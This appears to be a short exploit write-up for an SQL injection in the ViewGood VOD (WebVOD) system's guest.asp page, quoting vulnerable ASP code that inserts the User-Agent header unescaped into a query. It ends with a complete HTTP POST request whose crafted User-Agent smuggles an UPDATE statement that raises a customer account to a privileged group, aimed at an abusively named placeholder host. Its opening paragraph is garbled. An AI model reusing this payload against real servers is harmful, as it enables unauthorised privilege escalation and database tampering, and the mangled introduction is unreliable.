An injection vulnerability in an ancient VOD System

The VIEWGOODVOD System (WebVOD) vulnerability is generated in the webmediaoemuiuserguest file. asp. to access this page, you must register the relevant code: szAgentRequest. serverVariables (HTTP_USER_AGENT) aTmpInfoSplit (szAgent, (,-) aAgentInfoSplit (aTmpInfo (1),;,-) sz

Viewgood vod (WebVOD)
Vulnerability originated from file/webmEdIa/oemui/user/guest. asp. to access this page, you must register

Related code:

 
 

  
  
szAgent = Request.ServerVariables("HTTP_USER_AGENT")  
  
  
    aTmpInfo = Split(szAgent, " (", -1, 1)  
  
  
    aAgentInfo = Split(aTmpInfo(1), "; ", -1, 1)  
  
  
 
  
  
    szBrowser = aAgentInfo(1)  
  
  
    if Right(aAgentInfo(2), 1) = ")" or Right(aAgentInfo(2), 1) = ";" then  
  
  
        szOS = Left(aAgentInfo(2), Len(aAgentInfo(2)) - 1)  
  
  
    else  
  
  
        szOS = aAgentInfo(2)  
  
  
    end if  
  
  
    szClientIP = Request.ServerVariables("REMOTE_ADDR")  
  
  
 
  
  
    szSQL = "INSERT INTO GuestBook(CusTomer_ID,cont,ipaddr,ostype,browser,crdt) VALUES(" & iUserID & ",'" & szMemo & "','" & szClientIP & "','" & szOS & "','" & szBrowser & "','" & now &"')" 
  
  
    con.Execute szSQL 
 
 

 

HTTP_USER_AGENT can be constructed by ourselves.

POST /webmedia/oemui/user/guest.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, 
Referer: http://you.are.fucked.cn/webmedia/oemui/user/guest.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0','');update Customer_Group set Group_ID=1 where Customer_ID=9--; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: you.are.fucked.cn
Content-Length: 75
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCSACDTQQ=CGGFJOGANCPNAIAIABABHMHA;
memo=aaaa&submit=%B7%A2%CB%CD%D3%C3%BB%A7%C1%F4%D1%D4%D0%C5%CF%A2+%3E%3E%3E